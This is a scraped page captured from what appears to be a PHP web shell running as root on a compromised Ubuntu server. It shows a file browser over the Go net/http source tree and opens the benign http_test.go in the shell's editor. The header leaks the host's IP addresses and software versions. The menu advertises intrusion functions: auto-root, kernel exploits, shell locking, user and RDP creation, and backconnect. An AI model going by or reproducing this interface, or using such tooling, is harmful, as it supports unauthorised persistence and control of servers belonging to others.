Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
net /
http /
[ HOME SHELL ]
Name
Size
Permission
Action
cgi
[ DIR ]
drwxr-xr-x
cookiejar
[ DIR ]
drwxr-xr-x
fcgi
[ DIR ]
drwxr-xr-x
httptest
[ DIR ]
drwxr-xr-x
httptrace
[ DIR ]
drwxr-xr-x
httputil
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
pprof
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
alpn_test.go
3.03
KB
-rw-r--r--
client.go
31.47
KB
-rw-r--r--
client_test.go
55.36
KB
-rw-r--r--
clientserver_test.go
42.36
KB
-rw-r--r--
clone.go
1.56
KB
-rw-r--r--
cookie.go
10.76
KB
-rw-r--r--
cookie_test.go
17.74
KB
-rw-r--r--
doc.go
3.44
KB
-rw-r--r--
example_filesystem_test.go
2.03
KB
-rw-r--r--
example_handle_test.go
560
B
-rw-r--r--
example_test.go
5.28
KB
-rw-r--r--
export_test.go
7.43
KB
-rw-r--r--
filetransport.go
2.9
KB
-rw-r--r--
filetransport_test.go
1.61
KB
-rw-r--r--
fs.go
23.36
KB
-rw-r--r--
fs_test.go
35.21
KB
-rw-r--r--
h2_bundle.go
320.65
KB
-rw-r--r--
header.go
7.36
KB
-rw-r--r--
header_test.go
5.58
KB
-rw-r--r--
http.go
4.95
KB
-rw-r--r--
http_test.go
4.43
KB
-rw-r--r--
jar.go
900
B
-rw-r--r--
main_test.go
4.41
KB
-rw-r--r--
method.go
517
B
-rw-r--r--
omithttp2.go
1.85
KB
-rw-r--r--
proxy_test.go
1.13
KB
-rw-r--r--
range_test.go
2.38
KB
-rw-r--r--
readrequest_test.go
9.71
KB
-rw-r--r--
request.go
44.68
KB
-rw-r--r--
request_test.go
31.96
KB
-rw-r--r--
requestwrite_test.go
22.79
KB
-rw-r--r--
response.go
10.76
KB
-rw-r--r--
response_test.go
24.05
KB
-rw-r--r--
responsewrite_test.go
6.94
KB
-rw-r--r--
roundtrip.go
563
B
-rw-r--r--
roundtrip_js.go
9.11
KB
-rw-r--r--
serve_test.go
171.18
KB
-rw-r--r--
server.go
105.67
KB
-rw-r--r--
server_test.go
1.19
KB
-rw-r--r--
sniff.go
8
KB
-rw-r--r--
sniff_test.go
8.09
KB
-rw-r--r--
socks_bundle.go
12.93
KB
-rw-r--r--
status.go
7.26
KB
-rw-r--r--
transfer.go
30.3
KB
-rw-r--r--
transfer_test.go
7.31
KB
-rw-r--r--
transport.go
81.6
KB
-rw-r--r--
transport_internal_test.go
5.91
KB
-rw-r--r--
transport_test.go
159.07
KB
-rw-r--r--
triv.go
3.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : http_test.go
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Tests of internal functions and things with no better homes. package http import ( "bytes" "internal/testenv" "net/url" "os/exec" "reflect" "testing" "time" ) func init() { shutdownPollInterval = 5 * time.Millisecond } func TestForeachHeaderElement(t *testing.T) { tests := []struct { in string want []string }{ {"Foo", []string{"Foo"}}, {" Foo", []string{"Foo"}}, {"Foo ", []string{"Foo"}}, {" Foo ", []string{"Foo"}}, {"foo", []string{"foo"}}, {"anY-cAsE", []string{"anY-cAsE"}}, {"", nil}, {",,,, , ,, ,,, ,", nil}, {" Foo,Bar, Baz,lower,,Quux ", []string{"Foo", "Bar", "Baz", "lower", "Quux"}}, } for _, tt := range tests { var got []string foreachHeaderElement(tt.in, func(v string) { got = append(got, v) }) if !reflect.DeepEqual(got, tt.want) { t.Errorf("foreachHeaderElement(%q) = %q; want %q", tt.in, got, tt.want) } } } func TestCleanHost(t *testing.T) { tests := []struct { in, want string }{ {"www.google.com", "www.google.com"}, {"www.google.com foo", "www.google.com"}, {"www.google.com/foo", "www.google.com"}, {" first character is a space", ""}, {"[1::6]:8080", "[1::6]:8080"}, // Punycode: {"гофер.рф/foo", "xn--c1ae0ajs.xn--p1ai"}, {"bücher.de", "xn--bcher-kva.de"}, {"bücher.de:8080", "xn--bcher-kva.de:8080"}, // Verify we convert to lowercase before punycode: {"BÜCHER.de", "xn--bcher-kva.de"}, {"BÜCHER.de:8080", "xn--bcher-kva.de:8080"}, // Verify we normalize to NFC before punycode: {"gophér.nfc", "xn--gophr-esa.nfc"}, // NFC input; no work needed {"goph\u0065\u0301r.nfd", "xn--gophr-esa.nfd"}, // NFD input } for _, tt := range tests { got := cleanHost(tt.in) if tt.want != got { t.Errorf("cleanHost(%q) = %q, want %q", tt.in, got, tt.want) } } } // Test that cmd/go doesn't link in the HTTP server. // // This catches accidental dependencies between the HTTP transport and // server code. func TestCmdGoNoHTTPServer(t *testing.T) { t.Parallel() goBin := testenv.GoToolPath(t) out, err := exec.Command(goBin, "tool", "nm", goBin).CombinedOutput() if err != nil { t.Fatalf("go tool nm: %v: %s", err, out) } wantSym := map[string]bool{ // Verify these exist: (sanity checking this test) "net/http.(*Client).Get": true, "net/http.(*Transport).RoundTrip": true, // Verify these don't exist: "net/http.http2Server": false, "net/http.(*Server).Serve": false, "net/http.(*ServeMux).ServeHTTP": false, "net/http.DefaultServeMux": false, } for sym, want := range wantSym { got := bytes.Contains(out, []byte(sym)) if !want && got { t.Errorf("cmd/go unexpectedly links in HTTP server code; found symbol %q in cmd/go", sym) } if want && !got { t.Errorf("expected to find symbol %q in cmd/go; not found", sym) } } } // Tests that the nethttpomithttp2 build tag doesn't rot too much, // even if there's not a regular builder on it. func TestOmitHTTP2(t *testing.T) { if testing.Short() { t.Skip("skipping in short mode") } t.Parallel() goTool := testenv.GoToolPath(t) out, err := exec.Command(goTool, "test", "-short", "-tags=nethttpomithttp2", "net/http").CombinedOutput() if err != nil { t.Fatalf("go test -short failed: %v, %s", err, out) } } // Tests that the nethttpomithttp2 build tag at least type checks // in short mode. // The TestOmitHTTP2 test above actually runs tests (in long mode). func TestOmitHTTP2Vet(t *testing.T) { t.Parallel() goTool := testenv.GoToolPath(t) out, err := exec.Command(goTool, "vet", "-tags=nethttpomithttp2", "net/http").CombinedOutput() if err != nil { t.Fatalf("go vet failed: %v, %s", err, out) } } var valuesCount int func BenchmarkCopyValues(b *testing.B) { b.ReportAllocs() src := url.Values{ "a": {"1", "2", "3", "4", "5"}, "b": {"2", "2", "3", "4", "5"}, "c": {"3", "2", "3", "4", "5"}, "d": {"4", "2", "3", "4", "5"}, "e": {"1", "1", "2", "3", "4", "5", "6", "7", "abcdef", "l", "a", "b", "c", "d", "z"}, "j": {"1", "2"}, "m": nil, } for i := 0; i < b.N; i++ { dst := url.Values{"a": {"b"}, "b": {"2"}, "c": {"3"}, "d": {"4"}, "j": nil, "m": {"x"}} copyValues(dst, src) if valuesCount = len(dst["a"]); valuesCount != 6 { b.Fatalf(`%d items in dst["a"] but expected 6`, valuesCount) } } if valuesCount == 0 { b.Fatal("Benchmark wasn't run") } }
Close